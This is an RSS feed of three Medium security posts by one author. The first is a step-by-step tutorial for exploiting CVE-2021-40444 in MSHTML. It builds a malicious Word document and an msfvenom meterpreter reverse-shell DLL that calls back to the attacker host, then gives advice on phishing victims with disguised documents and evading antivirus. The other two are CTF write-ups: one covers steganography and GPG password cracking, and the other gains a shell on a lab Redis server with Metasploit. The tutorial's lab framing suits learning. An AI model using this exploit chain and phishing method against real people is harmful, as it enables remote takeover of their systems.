<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jawad Saqib on Medium]]></title>
        <description><![CDATA[Stories by Jawad Saqib on Medium]]></description>
        <link>https://medium.com/@jawadsaqib6?source=rss-3ff61718f93d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*qfRmbavBpYbcWopu.</url>
            <title>Stories by Jawad Saqib on Medium</title>
            <link>https://medium.com/@jawadsaqib6?source=rss-3ff61718f93d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 06:07:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jawadsaqib6/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2021–40444 Microsoft MSHTML Remote Code Execution Exploit]]></title>
            <link>https://medium.com/@jawadsaqib6/cve-2021-40444-microsoft-mshtml-remote-code-execution-exploit-b469c70fc90c?source=rss-3ff61718f93d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b469c70fc90c</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[ms-word]]></category>
            <dc:creator><![CDATA[Jawad Saqib]]></dc:creator>
            <pubDate>Tue, 31 May 2022 18:58:53 GMT</pubDate>
            <atom:updated>2022-05-31T18:58:53.618Z</atom:updated>
            <content:encoded><![CDATA[<p>This post covers the following areas of CVE-2021–40444 Microsoft MSHTML Remote Code Execution Exploit</p><ul><li>About</li><li>Working</li><li>Requirements</li><li>Exploit</li><li>Getting Reverse Shell</li><li>Gaining Access to Systems through Phishing</li></ul><h3>About</h3><p>This vulnerability, named as CVE-2021–40444 Microsoft MSHTML Remote Code Execution Exploit, was disclosed by Microsoft on 7 September 2021 and was being used widely by APTs and other threat actors through Microsoft Word Documents. It is a Remote Code Execution vulnerability in MSHTML (Microsoft’s proprietary browser engine for internet explorer). The attackers target the ActiveX that hosts the browser rendering engine.</p><h3>Working</h3><p>As soon the user clicks Enable Editing the exploit will open an URL through MHTML protocol to a file hosted at the remote server, which will be loaded as a Word Template.</p><p>The MHTML URLs are registered to Internet Explorer. The browser will be opened and a malicious HTML file will be loaded. The obfuscated javascript code will create a malicious ActiveX control. As a result, the ActiveX control will then download a CAB file from the remote server and execute it as a Control Panel file which will eventually execute a command on the target system thus running any attacker’s choice command which can be as dangerous as executing a reverse shell and gaining access to the whole system.</p><h3>Requirements</h3><ul><li>Windows 10 VM</li><li>Kali VM</li><li>The target system must have unpatched MS Office installed. (I am testing on MS Office 2016)</li><li>Turn off real-time protection because we are using simple msfvenom payload as antiviruses can quickly detect these payloads</li></ul><h3>Exploit</h3><p>To exploit the vulnerability we use the exploit by <a href="https://github.com/lockedbyte/CVE-2021-40444">lockedbyte</a>. First of all, clone the GitHub repository using git clone https://github.com/lockedbyte/CVE-2021-40444.git and navigate to the folder</p><p>In the folder, you will be able to see the exploit code file written in python along with many other files and folders as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*koXpdtFSzLiQaM2l6RivKg.png" /><figcaption>Exploit Pack</figcaption></figure><p>At first, we need to create the malicious document using the command</p><pre>python3 exploit.py generate test/calc.dll http://&lt;ATTACKER_IP&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*LVyvEpBPityPIc5OtYSyBw.png" /><figcaption>Creating Malicious Doc</figcaption></figure><ul><li>calc.dll is the DLL file that will just execute calc.exe and the calculator will popup</li><li>192.168.37.128 is the IP address of the kali machine</li></ul><p>Out folder contains the newly created document as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*N12O_fT5HUOX1lUH0v9Xhw.png" /><figcaption>Created Document</figcaption></figure><p>We now need to send this document to the windows target machine. For that purpose, we start a simple python HTTP server in the out directory as shown below</p><pre>python3 -m http.server </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*KqXQ1eESdlR4h9xUeSTKgQ.png" /><figcaption>HTTP Server</figcaption></figure><p>Now navigate to Windows VM, open the browser, and navigate to <strong><em>http://&lt;ATTACKER_IP&gt;</em></strong> as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*Y8zG1GZvt8aB9fKvpEtL3Q.png" /><figcaption>Accessing Web Server</figcaption></figure><p>Download the document.docx and navigate back to Kali VM and start the web host through exploit code on port 80 as shown below</p><pre>sudo python3 exploit.py host 80 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*ptNnjTN2PvSX94GlkN-aaA.png" /><figcaption>Starting Exploit Web Server</figcaption></figure><p>Now navigate back to Windows VM and open the document. Nothing will happen when you will open the document. This is because MS Word opens documents in read-only mode by default as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bct2tQC2QEq1ijc8ZnD6Dg.png" /><figcaption>Document Opened with Read-Only Access</figcaption></figure><p>We need to Enable Editing and as soon we click it, the calculator will be opened as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*FXbdGObiLZEzZ1AS9noPhA.png" /><figcaption>Calculator Popped Up</figcaption></figure><p>If we go back to Kali VM, we can clearly see the files being requested as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*J49K0jQ8h5UjZM50JAh7gA.png" /><figcaption>HTML &amp; CAB files being requested by malicious doc</figcaption></figure><h3>Getting Reverse Shell</h3><p>As this exploit executes system commands through DLL, we can craft a malicious DLL to get the reverse shell on the Kali VM.</p><p>Msfvenom is a handy tool to generate malicious payloads in multiple formats. So, to generate the reverse shell DLL, we simply use msfvenom with the following command</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 lhost=192.168.37.128 lport=4444 -f dll -o test/revshell.dll</pre><ul><li>-p specifies the payload. We are using windows 64bit staged reverse TCP payload</li><li>-a specifies the architecture of the target system.</li><li>lhost specifies the ATTACKER_IP</li><li>lport specifies the PORT at which we want to listen on</li><li>-f specifies the output format. We specify dll as for this exploit we need the dll</li><li>-o specifies the output location</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*rBQzLGTnTAPUy6lOldMF5w.png" /><figcaption>Creating msfvenom DLL payload</figcaption></figure><p>Similarly, we generate the document with this dll by just changing the DLL path as shown below</p><pre>python3 exploit.py generate test/revshell.dll http://192.168.37.128 </pre><p>Finally, send the document to Windows VM and start the host server through exploit code on port 80.</p><h3>Remote Code Execution</h3><p>Before opening the document, we must start multi handler through msfconsole as the payload we are using is the meterpreter payload. So we start msfconsole and, <strong><em>use exploit/multi/handler</em></strong> and set the options as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*s8SRWUj3g6ayrTVsXxOH4w.png" /><figcaption>Setting up Multi Handler</figcaption></figure><ul><li>We set the same payload that we used to create the DLL</li><li>set LHOST and LPORT to the same value we used to create DLL</li></ul><p>Following this, we will now navigate to Windows VM and open the document.</p><p>After that, opening the document on the target machine will throw the reverse shell on the attacker’s machine as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iq_R2J5srkPQfGDmkW4p5g.png" /><figcaption>Meterpreter Reverse Shell</figcaption></figure><p>We can then do privilege escalation and anything we want with the hacked user scope.</p><h3>Gaining Access to Systems through Phishing</h3><p>Using the technique discussed above, and taking into consideration all of the requirements, an attacker can send a maliciously crafted document to the victims and as soon they will open the document and enable the editing, the attacker will be able to access their system remotely.</p><p>An attacker can perform phishing by impersonating a document like a CV, memo, technical guide, or anything and then convincing the user to update the details and send the document back. Upon receiving the document, the victim just has to open the document and edit it, and boom. The attacker has now taken over the system.</p><p>This is a simple yet effective technique that if used with undetectable payloads can produce more fruitful results by bypassing the antivirus and protection mechanisms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b469c70fc90c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Careem’s Recruitment CTF Challenge]]></title>
            <link>https://medium.com/@jawadsaqib6/careems-recruitment-ctf-challenge-27dcc956cbf?source=rss-3ff61718f93d------2</link>
            <guid isPermaLink="false">https://medium.com/p/27dcc956cbf</guid>
            <category><![CDATA[gpg]]></category>
            <category><![CDATA[careem]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Jawad Saqib]]></dc:creator>
            <pubDate>Sat, 26 Mar 2022 08:35:30 GMT</pubDate>
            <atom:updated>2022-03-28T10:26:10.654Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone, I’m Jawad back with another write-up of solving Careem’s recruitment CTF challenge which took me almost 1.5 hours.</p><p>So, scrolling through LinkedIn I came across Careem’s post regarding their not so typical job announcement.</p><p><a href="https://www.linkedin.com/posts/careem_careem-everydaylifemadesimple-activity-6902151090846916608-vHeg/">Careem on LinkedIn: #Careem #EverydayLifeMadeSimple | 31 comments</a></p><p>To apply for the job, the hunters have to hunt their way to get the flag and send their CV/Resume to the email (hidden in the challenge).</p><p>I decided to give it a try and navigated to the provided <a href="https://blog.careem.com/wp-content/uploads/2022/02/c_challange.png">URL</a> which showed only an image as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oAOeG8VtVridLHboHlw2qQ.png" /><figcaption>Challenge Image</figcaption></figure><p>There was nothing else on the page. Looking just at the image, only one thing came to my mind and that was <strong>Steganography</strong></p><p>I fired up my kali terminal and used some tools <strong>exiftool</strong> and <strong>steghide</strong> for steganography to extract data from image. But there was no progress.</p><p>Searching for steganography tools, I came across an article mentioning <strong>binwalk</strong></p><p>I ran binwalk on the image and it extracted the files to a folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEksmh6aA-cF_9BTMY0vtQ.png" /><figcaption>Running <strong>binwalk</strong></figcaption></figure><p>There were many extracted files in the folder as can be seen below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TW5rC9Rh_EOGliWo4C8mFw.png" /><figcaption>Extracted Files</figcaption></figure><p>So many flag files, a step2.txt file and a zip file</p><p>I first decided to go for flag files and upon reading the contents, got binary data with PNG bytes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*IF049xFSG2wfvG8NBis6xA.png" /><figcaption>Reading Flag</figcaption></figure><p>This showed that the files are images. So I quickly wrote a python script to read the contents of each file in the folder and if it contains PNG in its first line, then change the extension to png</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14494f3c6c57e2ed5be27f48a51375c4/href">https://medium.com/media/14494f3c6c57e2ed5be27f48a51375c4/href</a></iframe><p>Running the code changed all flag files’ extension from txt to png.</p><p>But looking at the png files initially made no sense to me. So I moved to step2.txt file.</p><p>Getting its contents gave binary data as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yLxJgEW_mfnmv0ARrqH78g.png" /><figcaption>Contents of step2.txt</figcaption></figure><p>Tried strings on it but that gave no output.</p><p>It was time for checking the file type then</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*Fcbd-D7E0Hrx_quYCSLduw.png" /><figcaption>File type of step2.txt</figcaption></figure><p>Looking for methods to extract the <strong>GPG Symmetrically Encrypted Data</strong> found <strong>gpg</strong> command. Tried decrypting step2.txt but that was password protected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8xAqXHFhFIvTtIMW4HQcg.png" /><figcaption>Decrypting step2.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*x9iHwPNehJ9c7IVBOMAoLA.png" /><figcaption>Decryption failed</figcaption></figure><p>Not knowing the password, I searched for decrypting password protected GPG file and came across <strong>gpg2john</strong> utility</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*RLrAb4fsADKyP9pZy0vEzA.png" /><figcaption>Creating hash of step2.txt</figcaption></figure><blockquote>gpg2john converts the gpg key file to format that john can understand and we can try to crack the password.</blockquote><p>Following is the output of hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMPr50vNQ2bVi7valgLfsg.png" /><figcaption>Hash of step2.txt</figcaption></figure><p>Now we need to run john on the hash, I used <strong>rockyou</strong> wordlist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*Ncgn0fWE8-GwrWrzu05MGQ.png" /><figcaption>Cracking hash using john</figcaption></figure><blockquote>I already cracked the hash so it’s now showing no hashes left to crack</blockquote><p>Following is the cracked hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*xRt5AL7s_l-SJSG4IA0Ncw.png" /><figcaption>Cracked hash</figcaption></figure><p>Now using the password <strong>jojojo</strong> to decrypt the step2.txt file, I got it decrypted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*J5hkwZsNfmGOVtaTOofGwg.png" /><figcaption>Decrypted step2.txt</figcaption></figure><p>I found the email but it asks for flag also.</p><p>Now was time to do some brainstorming on flag png files. Looking at them, they were making some pattern. Analyzing them closely, they seemed to be pieces of a QR code. Also, there were blank whites in beginning flag numbers. So, I tried to insert in MSWord from flag_21.png on each line consisting of 20 images and got the following result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*BP1Bv8ak_pvNLQetkWBGqA.png" /><figcaption>Combined flag files</figcaption></figure><p>Reducing the line spacing option, I managed to get a compact QR code as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*Dqy9u67N6Br_kPvtOzR0mg.png" /><figcaption>QRCode</figcaption></figure><p>Scanning the code gave the flag as <strong>R0ck3tsh1p</strong></p><p>You may follow me on <a href="https://twitter.com/jawadsaqib_">Twitter</a> and connect with me on <a href="https://www.linkedin.com/in/jawadsaqib/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27dcc956cbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Exploitation 101-Root The Box]]></title>
            <link>https://medium.com/@jawadsaqib6/remote-exploitation-101-root-the-box-d63bc659b385?source=rss-3ff61718f93d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d63bc659b385</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Jawad Saqib]]></dc:creator>
            <pubDate>Sun, 09 Feb 2020 10:20:46 GMT</pubDate>
            <atom:updated>2020-02-10T16:19:44.354Z</atom:updated>
            <content:encoded><![CDATA[<p>I came to know about <a href="http://www.ctfthemes.appspot.com/">this</a> ctf through <a href="https://www.facebook.com/cybrites/">cybrite’s facebook page</a>. I visited the website and got this webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*E2phiQP3FMqeqVVPrKQtaA.png" /></figure><p>In the top section of page, there are clues and instructions mentioned. It is explicitly mentioned about Nmap and Metasploit that are installed on the attacker machine and might be helpful for getting the flag. And target is to gain root access of the target machine.</p><p>I got to know about the starting point by instruction in the top section mentioning to use <strong>“ip addr”</strong> command to get the target’s IP.</p><p>So starting the lab gives this shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*Dbd2QcBta8_fqT4w8y5MAQ.png" /></figure><p>Executing <strong>“ip addr”</strong> command gives this output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*6TGN6Eg9hwO4s8574tIDAA.png" /></figure><p>As mentioned in the instructions, running the command will give all interface’s IP addresses and the target server is in range of 192.X.Y.2 and IP of target will be 192.X.Y.3. So analyzing above output, interface <strong>2856</strong> has IP pool from <strong>192.134.164.2 to 192.134.164.255</strong>. So the target’s IP is <strong>192.134.164.3</strong>.</p><p>So now having the target machine’s IP, but I didn’t know what to do. I went through the first picture containing treasure map and clicked on flag1 and was prompted with following popup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*5tTQFFmZ9B9ramBmEZ1Euw.png" /></figure><p>This task was about recon. So finding the port number the redis server is running on. Keeping in mind the clues given in the beginning, I used Nmap to scan the target by executing command <strong>“nmap 192.134.164.3”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*mqpZOEFSZFkEEx7YmX5PDg.png" /></figure><p>Looks like every port is closed but it’s not the main concern, we just need the port redis server is running on. The default port for redis is 6379. I verified it by executing <strong>“nmap -p 6379 192.134.164.3”</strong> command and got the following result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*qgP_GwYpLrIaal9tUSyrRQ.png" /></figure><p>It’s verified and after inserting 6379 in flag1 popup prompt, I got following result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*reoBu22btausbkY2IbjDfA.png" /></figure><p>Now moving to flag2, the prompt shown was</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*urfhR1ZAvsxEhYnTfczjBg.png" /></figure><p>From the instruction, it looks like we need to use metasploit to solve this task. So starting up msfconsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*pV5S1lGQ8jQxC2DX2MAdIw.png" /></figure><p>I typed <strong>“use /exploit/linux/redis”</strong>and then pressed double tab for some options and all I got was straight complete exploit as there is only one redis exploit available in metasploit as shown in the picture below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*xXspe4mP6exi-KXg9Tj-aw.png" /></figure><p>So the path of exploit was <strong>“exploit/linux/redis/redis_unauth_exec”</strong>, so copy and paste this path to task2 prompt, the flag was verified</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*ciScVHH_BlIv6DtT5AHhZg.png" /></figure><p>Now moving to flag3 the prompt shown was</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*xQyW-zJ4Hxq4WbM4pnZghA.png" /></figure><p>This task was about <strong>“Post Exploitation”</strong> means for this the target machine should be exploited first. So after executing <strong>“use exploit/linux/redis/redis_unauth_exec”</strong>, I executed <strong>“show options”</strong> command to get the options that we can set and got following output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*wzrm6PjBJ1rlPl3b6KFcUQ.png" /></figure><p>So we need to set rhosts. To do this execute <strong>“set RHOSTS &lt;target-machine’s-ip&gt;”</strong>, in this case <strong>“set RHOSTS 192.134.164.3”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*4uX4XC1IXy7qbftlFZuLtg.png" /></figure><p>After that we need to set lhost, which will be our machine i.e. attacker machine. To get attacker machine’s IP type <strong>“ifconfig”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*cD5Ot4UC4wgagvTNTqLANA.png" /></figure><p>On eth1 we have the IP of attacker machine <strong>(192.134.164.2)</strong> belonging to same IP pool as of the target machine. So execute the command <strong>“set LHOST &lt;attacker-ip&gt;”</strong> in this case <strong>“set LHOST 192.134.164.2”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*8wrBoxZZ5RkzQ6S56pdfJA.png" /></figure><p>Now execute <strong>“exploit”</strong> command, but oops config-error was given</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*yGignnLauyYRhBpMjgjmyg.png" /></figure><p>So we need to change <strong>SRVHOST</strong> from <strong>0.0.0.0</strong> to something else. I changed it to attacker machine’s ip. So executing <strong>“set SRVHOST 192.134.164.2”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*P1bXJv8iQqdi8FZppSIrsw.png" /></figure><p>Now executing <strong>“exploit”</strong> command opened a meterpreter session meaning target machine has been compromised</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*b-Fh9XvL45lZYtqey4Syaw.png" /></figure><p>Now in task3, we need to find the service that’s being executed in <strong>“/run.sh”</strong> file on target. So by executing the command <strong>“cat /run.sh”</strong>, I got following result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*6KGcYOkkvOfNEwY79sElQw.png" /></figure><p>So the service being executed is <strong>“supervisord”</strong>. So inputting supervisord in task3 prompt, it was verified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*3TrjjY41nHlwGf_xMmnJ7Q.png" /></figure><p>Now finally on the final flag4, the prompt was</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*XKKdzLqN91FXcQTgoNS6EA.png" /></figure><p>So we need to find the flag value stored in <strong>“/root/flag” </strong>file. Executing the same command <strong>“cat /root/flag”</strong> gave the flag value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/234/1*ZSA56yGd1RWmbJrE-sKrmA.png" /></figure><p>Inserting flag value in task4 prompt gave following output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*JITXYMR7PBHUcRgup3_aJw.png" /></figure><p>And all flags were successfully found.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d63bc659b385" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>